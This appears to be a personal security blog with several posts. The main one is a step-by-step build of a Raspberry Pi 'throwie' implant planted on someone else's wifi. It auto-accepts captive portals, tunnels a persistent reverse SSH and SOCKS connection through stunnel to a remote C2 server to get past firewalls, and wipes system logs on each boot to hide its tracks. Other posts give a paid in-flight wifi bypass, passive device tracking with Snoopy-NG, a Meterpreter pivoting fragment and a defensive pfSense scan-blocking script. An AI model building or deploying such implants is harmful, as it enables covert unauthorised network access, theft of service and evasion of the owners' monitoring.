Wednesday, June 12, 2019

The $10 captive portal bypassing, remote throwie



Shameless plug: If you like what you read in here, follow the company I work for on Linkedin in or myself on Twitter, as I will be creating more as soon as I can!

Also, if you'd like to implement portalspider instead of a shell script, here is the link to my github, which has the source:
https://github.com/s0meguy1/PortalSpider

Major update:
So after posting this article, I went back and fourth with people about automating this adding automation to this project, specifically with accepting the EULA, which I have done. I'll go through how to do that at the bottom, but just want to note that getting the python script (specifically Selenium and a browser driver on an armf6 OS) to work on a Raspberry Pi Zero W is not easy, but it is doable. I will provide a working image of a Pi Zero W for those who do not want to setup Selenium from scratch. This script SHOULD absorb all cookies it finds and see all javascript. A lot of portals use almost all javascript, making it hard to create shell scripts to bypass.

In this post we will cover building a raspberry pi W zero that will automate the captive portal “accept” process, check to ensure the Captive Portal EULA accept is still active, create a TLS tunnel to bypass any Firewall SSH filter protections, make a persistent reverse tunnel SSH through the said stunnel tunnel and allow access to our device from the web via SSH/browsing. Sheesh, that was a mouthful of tech jargon, in layman’s terms: You drop this device on a remote wifi network, it will ensure you have a constant connection to your C2. It will also give you a private IP address, so if you're always behind a VPN when browsing, you could utilize this to browse anonymously with a private IP, avoiding things like CAPTCHAs, which are common when browsing behind a VPN (for good reasons!). Before we start, let me just throw out a legal disclaimer, as what I am about to show you could be used for malicious intent:

DISCLAIMER: Do not attempt to violate the law with anything contained here. If this is your intention, then LEAVE NOW! Neither the creator nor blogger is responsible for the comments posted on this website. This site will Never harm you by giving Out Trojans, Virus or any related stuff.
We do NOT promote Hacking! We are documenting the way hackers steal and performs activities. So it can be useful to Protect yourself.

Ok, with that out of the way, lets begin. You do not NEED a Raspberry Pi Zero W, however for a measly $5 - I bought mine from Microcenter, if you don’t have one by you, or are outside the US, it may cost more - you mind as well use it. You will also need a micro SD card for the OS, which you can get for cheap on Amazon, here’s one for about $3. Of course, you’ll need a micro USB cable and plug as well, again all found very cheap online. As the name in the title of this blogpost, you can obtain everything for $10 if you do some shopping. Cheap is the way to go, not just because if you are leaving the “throwie” in a place accessible to the public, you run the risk of it having it stolen. Therefore, it is probably in your best interest to buy something cheap. 

In my field, I do a lot of network testing, and what I have found that network appliances (routers, etc) are slowly getting better at analyzing traffic. Back in the the good ol’ days (Circa 2011) most public Wifi networks had zero security, almost no port restrictions were in place, no network filtering at all, they were essentially open networks. Now, network firewalls do a pretty good job at filtering traffic out of the box. So when the time comes to SSH out of a network, it’s usually blocked. Now, there are a WHOLE host of methods to get around this, probably more “point and click” methods with less moving parts. Actually, while procrastinating on writing this article, someone wrote a great tutorial on ngrok, and using it to do what I am about to show you here; However I always go with what works for me. The method I am about to show you is fairly easy to setup, despite the fact I will be using shells scripts to keep it alive. That said, since we will be leaving our devices and creating a persistent connection, I will be focusing on using stunnel (tunnel4).

A brief overview: Stunnel creates an SSL/TLS connection to an endpoint sever, or in our case, a remote server. To a firewall, the stunnel connection looks like ordinary HTTPS traffic, or in simpler terms, it looks as if the connection is coming from a browser and going to a “website”. In fact, that is exactly what stunnel is doing, except inside the TLS/SSL tunnel, instead of HTTP like a browser would send within an HTTPS connection, you are able to insert whatever you want (almost whatever you want). In this case the “whatever” will be SSH. Our end goal for the connection process will look like this:

OR if you don’t have a remote server/cloud server, you could always have the connection come right to your network:

If you did the local to local, you may want to consider having another pi zero that would constantly be accepting the connection. You should SSH to it from your regular machine.

Our secondary goal will be to create a connection that is persistent, so that if the cloud server reboots, the connection in between is severed, or one of a million other things that could go wrong, the connection will re-establish itself. I like using a tool called “autossh” for this. Now onto the setup!

Let’s configure our client first, let’s get all our packages up to date:
apt update && apt upgrade -y

The required tools:
apt install stunnel4 autossh -y

We need to generate certs for stunnel to use. You may want to change the criteria I have below:
openssl genrsa -out key.pem 2048
openssl req -new -x509 -key key.pem -out cert.pem -days 1095 -subj "/C=GB/ST=London/L=London/O=Global Security/OU=IT Department/CN=example.com"
cat key.pem cert.pem >> /etc/stunnel/stunnel.pem

Now that you have the certs in place, you’ll want to create a conf file in the newly created /etc/stunnel/ directory. Here we’ll tell stunnel how to connect to our remote server when it receives a connection:
echo -e 'pid = /var/run/stunnel.pid\ncert = /etc/stunnel/stunnel.pem\nclient=yes\n[ssh]\naccept=443\nconnect=SERVERFQDN/IPADDRESSHERE:PORT' > /etc/stunnel/stunnel.conf

So your conf should now look like this:
/var/run/stunnel.pid
cert = /etc/stunnel/stunnel.pem
client=yes
[ssh]
accept=443
connect= SERVERFQDN/IPADDRESSHERE:PORT

Sidenote: stunnel is pretty versatile. If there is an http proxy, or proxy in general, you can actually tell stunnel to connect to it, then from there outbound. It will still route the ssh tunnel!

Make sure you add your IP/FQDN to your remote server in the above script text! What the conf tells stunnel to do is accept connections on port 443 (accept=443) then connect to the server you specified (connect=SERVER:PORT). So anything sent to port 443 (or whatever port you want) on the raspberry pi will be forwarded to the cloud server. Since we want ssh, we will be setting our Autossh config to do so. Now you’re going to want to edit your /etc/rc.local and add this:

#### STUNNEL ####
autossh -f -N -D 8888 localhost #SOCKS5 Proxy
#### CHANGE PORT ####
autossh -f -N -R *:9999:127.0.0.1:8888 root@127.0.0.1 -p 443 -oLogLevel=error -oUserKnownHostsFile=/dev/null -oStrictHostKeyChecking=no ## Here we’re telling SSH to connect through the STunnel connection we made earlier, which is listening on 127.0.0.1. We’re telling SSH to send anything from the remote host port 9999, to forward to our raspberry pi port 8888
autossh -f -N -R *:9998:127.0.0.1:22 127.0.0.1 -p 443 -oLogLevel=error -oUserKnownHostsFile=/dev/null -oStrictHostKeyChecking=no ## Same as above but with SSH, no SOCKS connection is required for this

Next, we need to enable stunnel to start on boot:
nano /etc/default/stunnel4
Change ENABLED=0
To:
ENABLED=1

Finally lets setup our wifi connection for our target network:
nano /etc/wpa_supplicant/wpa_supplicant.conf

If this is an open network, your config should look like this
###################
###################
#Here’s a WPA2 config:
ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev
update_config=1

network={
    ssid="NETWORK-NAME"
    psk="WPA-PASSWORD"
    key_mgmt=WPA-PSK
###################
###################

There is a few more things we need to configure on our throwie and we’ll be done. Since we will be creating a dynamic local connection (autossh -f -N -D 8888 localhost), we need to add the Raspberry Pi SSH key to the authorized_keys (sounds weird to add itself to itself), or else it will ask for a password, and since this will be “hands free”, that will not work. For the record, you can use a username and password with the -u/-p switches, but that’s bad OPSEC.
cat /root/.ssh/id_rsa.pub >> /root/.ssh/authorized_keys

As a precaution, and this is totally optional, I will add a reboot nightly, just in case everything else “hits the fan”, this may save a trip out to retrieve the throwie:
crontab -e
Add:
* 4 * * * /sbin/shutdown -r now
That will set a reboot every night at 4am to empty /tmp/ and refresh connections (This is optional of course)

For the time being, lets move to your cloud server. We have more things we need to do with the throwie, but we’ll need to analyze the target network to make those changes. There are some more defaut settings we can make to our cloud server.

We will again start by updating and installing the tools:
apt update && apt upgrade -y
apt install stunnel4 -y

Certs again need to be created:
openssl genrsa -out key.pem 2048
openssl req -new -x509 -key key.pem -out cert.pem -days 1095 -subj "/C=GB/ST=London/L=London/O=Global Security/OU=IT Department/CN=example.com"
cat key.pem cert.pem >> /etc/stunnel/stunnel.pem

Since this is the server, our stunnel config is going to be different. Here we’ll be listening rather than sending a connection, and we’re also going to tell stunnel the end port to connect to:
nano /etc/stunnel/stunnel.conf
Add:
[ssh]
accept = 0.0.0.0:443 #accepts all on 443
connect = 127.0.0.1:22 #forwards from 443 to localhost port 22
cert = /etc/stunnel/stunnel.pem

Change stunnel’s startup mode:
nano /etc/default/stunnel4
Change ENABLED=0
To:
ENABLED=1

We also need to modify /etc/ssh/sshd_config and add:
GatewayPorts yes
Followed by:
service ssh restart

Without that, we will not be able to remotely connect to our forwarded ports. This is it for the cloud portion!

Now if your target network is an open book and has no captive portals, you’re done! Right now your pi should persistently attempt to connect to the stunnel listener on port 443 or the Raspberry Pi. Every time the stunnel listener gets a connection, it will try to forward it outbound on port 443 to your remote server. On the remote side, it accepts and hands the connection to SSH, where the reverse tunnel is created. There are a few tweaks you may want to check out for your raspberry pi, so skim to the end. If your target network does have a portal, you’re going to want to keep reading.

Now that we have our base config setup, we need to find a way to continually provide internet access, this means making sure that the EULA/Captive Portal is constantly accepted. I’ll show you a cut and dry method to keep your connections alive indefinitely. You’re going to want to download Burp Suite Community edition, as we need to look at the requests that occur when you connect to the wifi network before submitting “accept”. The simplest way would be to either use Burp Suite, capture the EULA request from your PC, then save it as a curl request, or you could just use Chrome dev tools and/or firefox tools to capture the request as a curl request:

Heres a step by step with chrome:

Before clicking "Accept" on the EULA page:
Copy this script template and paste it into notepad or notepad++:
#! /bin/bash
if [[ $(curl -Is https://www.google.com | head -1 | cut -d ' ' -f 2) != "200" ]]; then
    [PASTE CURL REQUEST HERE]
fi
Open Chrome Developer Tools
Navigate to Network Tab
Click the EULA
You should see the request in the network tab, highlight it and right click
Select "Copy" -> "Copy as CURL"


Paste the contents of the right click into my script, overwriting the “[PASTE CURL REQUEST HERE]”

Create a file on the rasapberry pi called EULA.sh, then paste the contents from notepad into EULA.sh. Make sure you do a:
Chmod 755 /root/EULA.sh
What my little script does is check to see if google is available, if it isn’t, it runs the curl request.
FYI – some networks will have session cookies or CSRF tokens in place so that you can’t directly send Accept button POST/GET without it. You’ll have to figure out where the session cookie/CSRF token is issued, grab it, then add it to the script above. Absolutely doable, I will not be covering it in this writeup.

A few more steps on the raspberry pi. We’re going to set a one more cron job and add a few more lines to rc.local. The first will be the EULA check, which we can run every 20 minutes with cron:
crontab -e
*/20 * * * * /root/EULA.sh

Next we’ll add a EULA check on boot, this is especially important on your first boot. If your MAC address is already logged in the router, google will come back as a 200 and the EULA curl request will not run. edit /etc/rc.local again:

/root/EULA.sh &

Make sure you add the “&” so it runs in the background and doesn’t hang up the boot sequence. Finally, since we’re leaving this and you can never be to sure who will pick it up and analyze it, I like to ensure my tracks are covered. We’re going to tell the rc script to clear our logs (Optional):

truncate -s 0 /root/.bash_history
truncate -s 0 /var/log/debug
truncate -s 0 /var/log/faillog
truncate -s 0 /var/log/lastlog
truncate -s 0 /var/log/messages
truncate -s 0 /var/log/syslog
truncate -s 0 /var/log/wtmp
truncate -s 0 /var/log/apt/history.log
truncate -s 0 /var/log/apt/term.log
truncate -s 0 /var/log/alternatives.log
truncate -s 0 /var/log/auth.log
truncate -s 0 /var/log/boot.log
truncate -s 0 /var/log/bootstrap.log
truncate -s 0 /var/log/daemon.log
truncate -s 0 /var/log/dpkg.log
truncate -s 0 /var/log/kern.log

Now on each reboot (guaranteed reboot at 4am every morning from our cron entry above) the logs will be wiped. The final step will be to add the network name you would like to connect to into the
/etc/wpa_supplicant/wpa_supplicant.conf

If its an open network, it will look like this:
network={
        ssid="NETWORK-NAME"
        key_mgmt=NONE
}

Otherwise take a look at the example above. Make sure you have everything in place and power off the pi. If everything went as expected, you should see the connection hit your remote server. Now before you power off, ensure you have:
·         The correct network name in /etc/wpa_supplicant/wpa_supplicant.conf
·         The correct remote machine and port in /etc/stunnel/stunnel.conf
·         Stunnel4 is running
·         Your /etc/rc.local has the correct ssh information (Ea local port for stunnel)
·         Your SSH keys are set on both the server and raspberry pi
·         Your SSH config is set properly on the remote machine
·         You have verified that the captive portal script functions as expected

If all of these check out, you just now need to find a place within range to plug the raspberry pi into. Depending on what ports you chose, you should now see the connection on your remote server:
(/etc/rc.local)
(connections on remote server)

You should see the two ports you added, one for “remote management” AKA SSH to remote network (13822 in this example), and you should have your socks forwarded port (13821 in this example). If you set your browser to SOCKS5, enter your remote server IP/FQDN and the SOCKS port (13821 in this example), you should be browsing as if you were on the network the raspberry pi is on!

UPDATED INFO:

As I said above, if you'd like to automate this, I have written a python script called portal spider that will crawl, detect form inputs and submits them for you. It uses Selenium and the chromedriver, so it will work with most Javascript forms also. It should also submit any CSRF tokens and cookies that come along with the portal. There are two different versions on my github, one I wrote on my Ubuntu which works flawlessly, and the second one (PCrawlerZW.py) to use on a pi zero w. I am very glad I tested it on a Zero before re-releasing this blog, as it was not easy to get a browser driver on there and get selenium working because there is not much support for armf6. I basically followed the Instapy Raspberry Pi guide to get this working. Because I really don't know what or how I got this working, if you do attempt to build this, do not submit issues with the driver or selenium to my github, as I won't know anymore than you how to fix! Anyhow, this will not work on boot, for reasons unknown to me, you have to let everything start up for about a min before running it, so I'd set your cron to run this every several minutes.


 If you want to use this, substitute the shell script with this in /etc/rc.local and cron:

/[python3 bin dir/python3 /root/PCrawlerZW.py &

If you'd like the pre-configured image, you need to have two things: A wireless usb dongle or wireless card that can broadcast a network where you can control the name and connect to it, unless you have a mini htmi adapter for pi zeros (you can then just boot and go to work on it). This image will connect to an open network with the name "CrawlConfig". You need to be able to connect to the wireless network in order to change the wpa_supplicant. If you look at my github, I have the hostapd/dnsmasq/firewall rules to do this if you have a dongle/capable card.
u:
root
pi (unpriv)
password for both:
Password1!

Here is the zipped img file:

https://drive.google.com/open?id=1ejNfv6ypSLxe04kHgqIyNJZFMnlXqVAh

Preventing this is not too easy, some methods you could use to mitigate this would be:

·         Do not allow self-signed certificates to websites (easy to bypass this restriction)
·         Do not allow long term connections (this would run 24/7)
·         SSL inspection server (many corporations have this. It allows them to inspect your SSL traffic and you’d see that this was an SSH connection)

Friday, March 22, 2019

Blocking Port Scans on PFSense


Its been a while since I made a blog entry, figured I’d stop being lazy and give back to the community again! Recently I upgraded my firewall and decided to go the custom route. My flavor of choice was PFSense, as it has robust features. After months of using it, I couldn’t be happier, but there was one issue I didn’t like, I couldn’t configure the firewall to block bot/port scans. A few google searches produced nothing. People mentioned using Snort, but as I started playing with those tools, I thought there must be a simpler way. To give you some background on my motivations and why I do this: when I first started building cloud servers, I was shocked by the amount of traffic that is constantly bombarding your firewall. I saw quite a bit of repeat offenders. So on my cloud instances, I used UFW + fail2ban to block anything that touched ports outside my “allowed ports”.

FYI - this can be super frustrating when you “forget” that you have this set and start playing with something, like a web server on a different port. Depending on your cloud provider, you could be screwed (I somehow blocked everything including localhost once and had no console, YIKES!). You may need to connect via VPN in case of emergency. I also recommend taking an audit for several days just to make sure that legit services are not reconfigured, as you do not want to block them.

My home network has nowhere near as many public facing services as my cloud servers, but it does have some and that makes me nervous because it is where literally EVERYTHING resides. Most of the traffic you see is bot scans and usually only a few ports. From time to time, you'll get someone with some talent who is curious. Its that person I'm concerned about, because when they find your only open port[s] and begins to test, all they have to do is wait for you to forget to patch something and then they’re able to use a near-day to get a foothold. The thought of this makes me wake up in cold sweats! BTW - explaining this to people outside the community makes feel as if I should be wearing aluminum foil.

Like with my cloud servers, blocking an IP from touching any port outside your allowed range makes it SIGNIFICANTLY harder to scan and see whats open. For the record, it can still be done. You could use something like TOR to funnel the port scan through, then use the TOR management port to change IP’s for each port. However that would only give you around 7k ports as there are only about that many TOR endpoints. So you'd eventually get an nmap top 1k but not a full port scan, as there are not 65535 exit nodes. I did read a writeup way back that said sneaker proxies (yes, as in "shoe" proxies) have access to large ranges of unique RFC 1918 IP address if you REALLY were diligent on getting a full scan (*cough* compromised machines with RAT's installed to proxy connections though *cough*).

Anyhow, I didn’t want to go with my cloud solution and “corrupt” PFSense with something like fail2ban, as PFSense is a premium firewall and toolset. After doing some digging into how PFSense firewall does it's logging, I realized that my “catch all REJECT” rule located at the bottom of my WAN interface ruleset had the option for logging. I turned that on and located the log location on the filesystem. PFSense logs in CSV, which makes it super easy to pull and filter logs. I dumped my “/var/log/filter.log” and a novel worth of information dropped out:


Thinking on my feet, I logged onto one of my cloud servers, installed netcat and attempted to connect to a port that was not on my “approved” list, then grepped for the cloud server IP address in my PFSense logs:

grep 'IP.ADDRESS' /var/log/filter.log

Wow, that was pretty simple, I had found it in the first go, this was going to be a good morning. It produced a wealth of information, as the ip address was associated with other rules I had created. So I went back into the PFSense firewall config for that specific rule to see if there was some kind of label for it, and conveniently enough, there was!
This picture depicts where to go to find the rule number:

A note: You’ll notice that I do not have my rule set to “drop”. I recently move to the school of thought that it is better to let the person or bot know right away that the port is blocked instead of forcing them to wait many more milliseconds to time out. Reject is nearly immediate where as they'll continue to wait for a packet to come back, so it creates far fewer states on your router. There is a really good writeup on what I am talking about here here (http://www.chiark.greenend.org.uk/~peterb/network/drop-vs-reject). It will save you some resources!
ANOTHER note on this: I still use “drop” on certain cloud servers, especially during red team engagements I do this because I want full anonymity. Sometimes security minded people, or people like me with an aluminum foil hat on staring at their logs all day, will sometimes counter scan you. With blocking, if the said person goes to do a counter scan and nothing seems to be there, they may assume "Hmmm, maybe it was a docker image that spun up for a scan or maybe they are behind a firewall that is doing NAT, and they may just forget about you. If you want want that level of anonymity, I totally understand and uses that level sometimes. For me and my home network, resources are king. I cant stop building things and because of that am now would be in the run for a home-enterprise sized network of the year. So I need to save resources where I can.


“Tracking ID” showed up in the logs when I grepped for the number associated with it. Now I had to find a way to pull the IP information, get them into some kind of crude file or database and make sure that there were no duplicates (I later realized that PFSense would handle duplicates for me, but my script does it also). I initially created a bash script that pulled the information. It was stupid simple and took me maybe 10 mins to write. However, I felt it was very “flimsy” and I was not at all confident with letting a flimsy, half-assed shell script handle my banned IP’s list. For the record, there are more "flimsy" bash scripts running than I'd like keeping me afloat. But this is one that could lock me out completely. What do I mean by "flimsy? I guess I'll share:

#!/usr/local/bin/bash
grep 'RULEID' /var/log/filter.log |cut -d ',' -f 19|sort|uniq >> /root/Initial.txt
cat /root/Initial.txt|sort|uniq > /root/IPBlacklist.txt
cp /root/IPBlacklist /root/Initial.txt

Yeah, I didn’t like it either. So I warmed up my python skills and created something that made me feel warm and fuzzy inside:

#!/usr/local/bin/python2.7
import os
import time
DBsave = "/root/IPBlacklist.txt" #Change if you don’t like the location
def Filter(data):
    count = 0
    path = "/var/log/filter.log"
    f = open(path,'r')
    olddata = []
    unsorted = []
    with open(data) as old:
        for odata in old:
            if len(odata.strip()) != 0:
                olddata.append(odata.rstrip("\n"))
    sorted = []
    with open(path) as text:
        for line in text:
            if 'RULEID' in line: #change this line based on your rule number
                unsorted.append(line.split(',')[18])
    nextdata = list(set(unsorted))
    nextolddata = list(set(olddata))
    for nextline in nextdata:
        if nextline not in nextolddata:
            count += 1
            sorted.append(nextline)
    if count == 0:
        exit()
    else:
        for fileline in sorted:
            file = open(data, 'a+')
            file.write(fileline + "\n")
            file.close()
if not os.path.exists(DBsave):
&nbsp&nbsp&nbsp&nbspwith open(DBsave, 'w'): pass
Filter(DBsave)

Here's a direct link to my github in case blogger gets the spacing wrong:

https://github.com/s0meguy1/PFBlock/blob/master/blacklist.py

By no means would I call this a world-renowned python script, but it made me feel much better, and I could later do things like add timestamps, error handling (which I did none of here) or whatever came up as things started breaking. The sky’s the limit with Python.

This was great and all, but I realized I had no way to get this newly created list into PFSense. Luckily, I had installed PFBlockerNG, which I HIGHLY recommend! I also use it as a quasi-pihole, and block entire countries or regions from accessing my home network (don't worry, google hosts this blog. I wanted a larger audience than my local city). PFBlocker has the option for custom FQDN whitelists, but also IPV4 (and IPV6) whitelists. This feature is usually used to pull from URL’s which contain large lists of IP addresses that people are constantly updating, which I also do, But I decided to see if it would read from the filesystem, which it did.
To do this, within the PFSense web app (with PFBlocker installed), head to:
Firewall -> PFBlocker -> IPv4


From there, you add a new list, give it an alias (alias might be optional? I can’t remember), then under “IPv4 Lists” you can add the blacklist from the absolute path of the txt file you created in the python script (Ea /location/of/your/sript.txt – the DBsave variable). I set my list to update every hour.


Fantastic! But one more thing, you must add the python script to cron so that it can be set to run and update. As I said before, this could be done within the python script, however I was too lazy to start down that path when I could just have cron do it for me. Also it probably would eat more resources to do that. I decided since the PFSense list was updating every hour, that I would have cron do it every 30 minutes just to be safe, so I ran “crontab -e” and added:

*/30 * * * * /usr/local/bin/python2.7 /root/blacklist.py

*** you may want to verify your version of python is in /usr/local/bin/
And that’s it! You are now preventing unwanted harassment from returning to your network!

I made a promise that I'd start writing more as I created things. So if you're interested in what is next, come back and checkout my blog, or follow me on twitter:
@s0meguy1
I'll be posting this there as well. Good luck!

Thursday, July 14, 2016

Passively monitoring devices with a Snoopy Raspberry Pi drone

I was recently distracted from a Blog project I had recently begun working on (Bypassing just about any paywall or firewall - coming soon) after reading a comment in /r/netsec. I thought monitoring rouge devices around my home and getting alerts was a really cool idea. So I began working with the skeleton python code /u/gindc had used for his alert system. After a few google searches I found myself down a rabbit hold of custom scripts on Github built (far better than I could) for this very purpose. I settled on trying something built by Sensepost called Snoopy-NG.
Snoopy-NG was packed full of features, plus it plugged into Maltego so you would get pretty bubble relation charts based on the relation of the device. The idea behind it was to see what beacon probes the devices around your drone were beaconing out and see if there was a correlation with other devices. For instance if two people had the same Starbucks network stored in their phone, Snoopy would see the relation and correlate that both had been to the same place. On top of that it had other more malicious features, like creating a rouge AP and utilizing Karma to pull in devices. There are other features, but I haven't had time to play around with them.
Since the Snoopy-NG project seems to have been abandon in early 2015, a lot of things had to be modified or removed, as I am not good enough to fix, so I took the easier route of just not using those features (MITM framework integration).

I had ordered two Raspberry Pi 3's in an unnecessary splurge and had not really put them to use yet, so I decided to use one as my drone. I also had two Alfa AWUS051NH wireless cards and two high gain antennas that had been collecting dust and decided to re-purpose them as my Raspberry Pi drone's antenna (I was sad to learn that the built in wifi on the Pi 3 does not support packet injection, Ea. no monitor mode). I then stood up an Ubuntu server on my cloud provider (LOVE CloudAtCost - super cheap! And you can part your servers out and build multiple on the fly! Just wait until they have an 80/90% off special) as my C2 data server.
I did a "git clone" on the server and was able to run the install.sh with little to no dependency issues. On the Pi I had far more issues - I initially was using the Kali image built for the Pi, but after multiple problems, I assumed it was because of dependencies that couldn't be satisfied with the Kali arm image and went back to the Ubuntu Mate image built for the Pi; but experienced the same issues. So in hindsight I would have kept the Kali image instead of using the Ubuntu Mate image, but since it was now working on Mate, I decided to roll with it and pull any extra dependencies I needed. I then did a git pull on the Pi:

Some notes on the Pi install of Snoopy-NG -
1. You will need to remove ~/snoopy-ng/includes/mitm.py (I was getting a python six import error: "importerror: cannot import name range six.moves", and after some research I found that because the mitm.py built for Snoopy was deprecated and thus did not play well anymore with python six - so I removed it)
2. Because of the mitm.py removal, you will need to nano ~/snoopy-ng/plugins/mitmproxy.py and comment "from includes.mitm import *
3. Before you run install.sh, edit it and comment out a line towards the end: pip install https://sourceforge.net/projects/pylibpcap/files/latest/download?source=files#egg=pylibpcap and add these two lines under it:
wget http://http.kali.org/kali/pool/main/p/python-libpcap/python-libpcap_0.6.4-1_armhf.deb
dpkg -i python-libpcap_0.6.4-1_armhf.deb

Once the install has completed without error, its pretty simple from here on out. On the server side run:
# snoopy_auth --create [DroneName]
# snoopy -v -m server
And once that is up and running, on the drone run:
# snoopy -v -m wifi:mon0=True -s http://:9001/ -d [name of drone from server] -l [location-can be anything] -k [keyWithoutBrackets]

You should see data being transmitted to the Snoopy sever:


And here is a screenshot of both of them in action:



* I highly recommend using screen to run all of these - that way you can close out your terminals and return to the screen session later by running "screen -RD". You can exit your screen session by pressing CTRL + a + d (hold control then press "a" then while still holding CTRL letting up on "a" press "d")

Back to the server (not if you go with cloud at cost, they do not install a GUI - you will need to install one to run Maltego) - I fired up Maltego and imported the Snoopy-NG .mtz conf file:

1. In Maltego, click the odd looking spaceship button in the upper left corner next to save - Go to import - click on import configuration - scroll to and click next on: /snoopy-ng/transforms/snoopy_entities.mtz
2. After the import - scroll to the machines tab and click "Run Machine" - then scroll to and select one of the two snoopy options

* Some more notes: I noticed that the drone was seeing quite a bit but Maltego was not displaying them, so I edited some of the machine properties:

1. Click on "Manage Machine" highlight (do this for both Snoopy machines) one of the two snoopy machines and click on the three dots - comment out using // anything that says "delete()" and for any field that contains a number, add 30 (or more)
2. I am not at all familiar with Maltego, I have no idea what the purpose of the delete() entries were for, as I wanted to see as many devices as possible - I am hoping a Maltego expert can chime in. I was just poking around with the configs.

This should produce a pretty graph of all the devices around you!



Now you can see all the devices in your area, what networks they connect to, what networks their phones are beaconing out, and if any of those devices have been on the same networks! I never did create the alerts for new devices because of this snoopy rabbit hole I went down, but I figured I would share this information with the community in hopes of revitalizing this project. Perhaps I will jump back on that alert system later and update this blog...

So how do you prevent being seen? You really cant. There are some steps you can take to somewhat prevent being seen, such as disabling auto connect to wifi on your phone so that its constantly not looking for saved networks (I don't even do this out of laziness). You can set your router to not beacon out the SSID - Note: In doing this you will have to manually enter your network in the device you are trying to connect to it. And in hiding your SSID, your network can still be seen, but only when a device is trying to connect to it and only if you are monitoring with a wifi card in monitor mode. So it is very unlikely people will find it.


Thursday, December 31, 2015

Bypassing GoGo In-flight for free internet

This entry is going to be short, as the techniques I am going to show you either require a VPS (or an at home ssh server with a public IP) or an iPhone (iPhone trick not much of a hack, but it works).

Both of the methods were tested recently, December.2015, on a two hour flight.

On my initial flight to visit the family, I connected to the GoGo In-Flight just to play around and see what was going on in the internal network. I knew that I could listen on the network and steal someones MAC address, but I think that is a cheap trick, so I was looking for other ways to bypass.

I did an "ifconfig" found the gateway server, did a full port scan on it (WAY too long to complete) then then reverted to the nmap default top 1000k ports.

Found 53, 443 and 3128 to be up. It looks like they were using Squid Proxy for their gateway with 3128 being used for the http/https traffic. I made some attempts to connect to my VPS on the flight down, but since I didn't have it configured for these ports, I had no luck.

Port 3128 results:
PORT     STATE SERVICE    VERSION
3128/tcp open  http-proxy Squid http proxy 2.6.STABLE14
|_http-methods: No Allow or Public header in OPTIONS response (status code 503)
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported: HEAD
|_http-server-header: squid/2.6.STABLE14
|_http-title: Did not follow redirect to http://airborne.gogoinflight.com/abp/page/abpDefault.do?REP=127.0.0.1&AUTH=127.0.0.1&CLI=XXX.XX.131.145&PORT=54273&RPORT=54272

The captain came on and told everyone to put away all electronic devices, so close!

Fast forward to the trip back. I set SSH to listen on 53, 443, and 3128 on my VPS. I had also done some research and found people were able to connect via 53 and 443 over ssh, as they are not using DPI. I had no such luck

On 53 I was able to make a full TCP connection, but was not able to pass the SSH cert to the VPS (used -vvv to see where SSH was hanging up).

On 443 I was not able to leave the network at all (SYN SENT - on netstat)

On 3128 I was able to ssh into my VPS port 3128! Jackpot! The proxy was not inspecting traffic on this port. so I ran the following SSH command to create a SOCKS5 Proxy on my machine:

ssh -D 3128 root@VPS.IP -p 3128

Now I went into my browser network settings, checked "use proxy server" and under "socks" (may be an option for socks 4 and 5, if so use 5) I entered my localhost and port (127.0.0.1:3128) and saved.

VIOLA! I was able to browse the entire flight for free!




Now I know I mentioned needing an iPhone, while I dont own one, I was able to convince my more ethical friend to try some steps I read in a blog that ended up working also:

1 - Connect to the GoGo Wifi
2 - Browse to the GoGo Movie library (free or paid, it doesnt matter, you wont be paying)
3 - Click on a movie and it will bring you to a page to download the GoGo app
4 - Enter the Captcha Code to access the app.
5 - Submit it
6 - Do not close the browser now! Open a new tab and start browsing the web. If you leave the auth window active, you will retain your authentication cookie! You can browse as much as you'd like now. Once you close out the browser window, you will lose your session.

Enjoy your free wifi!

Thursday, September 24, 2015

Quick pivoting lession

UPDATE 2/9/2016:

I was never able to finish this, and I lost the screen captures from when I was accessing a set of VM's I used for this tutorial. I have since found a better tutorial then my own here:

https://highon.coffee/blog/ssh-meterpreter-pivoting-techniques/

Sorry about that!

So I have been playing around in the OSCP labs, and as you may have heard, pivoting into different boxes becomes key as you "unlock" different parts of the network. As someone who doesn't pivot too often (I experiment with/test applications and setups, pivoting is a more Red Team tactic) this became quite confusing after a while, so I did a brain dump for myself. I decided to also share it with you.

Lets begin:

So you need some sort of access to the box, in the example I have provided, I have escalated to system privileges, however I was able to pivot using the meterpreter "portfwd" command on a box I had low level privileges to. However, what I am about to show you may not work, I already had all the screen captures when that idea popped into my head.

First obtain reverse meterpreter, I did so using via HP Power Manager running on port 80:



Next assign the payload using "set payload windows/meterpreter/reverse_tcp" - A breakdown of this:

Windows - we are exploiting a windows box
Meterpreter - we have deployed a reverse shell using meterpreter
Reverse TCP - listening for a "callback" shell

There are so many options between slashes, for instance if you were to type windows/ then hit [TAB], metasploit would list all options you have under windows/, meterpreter being one of them. For every "shash" you can do this.

So anyway, once you have executed the exploit, we can move onto pivoting: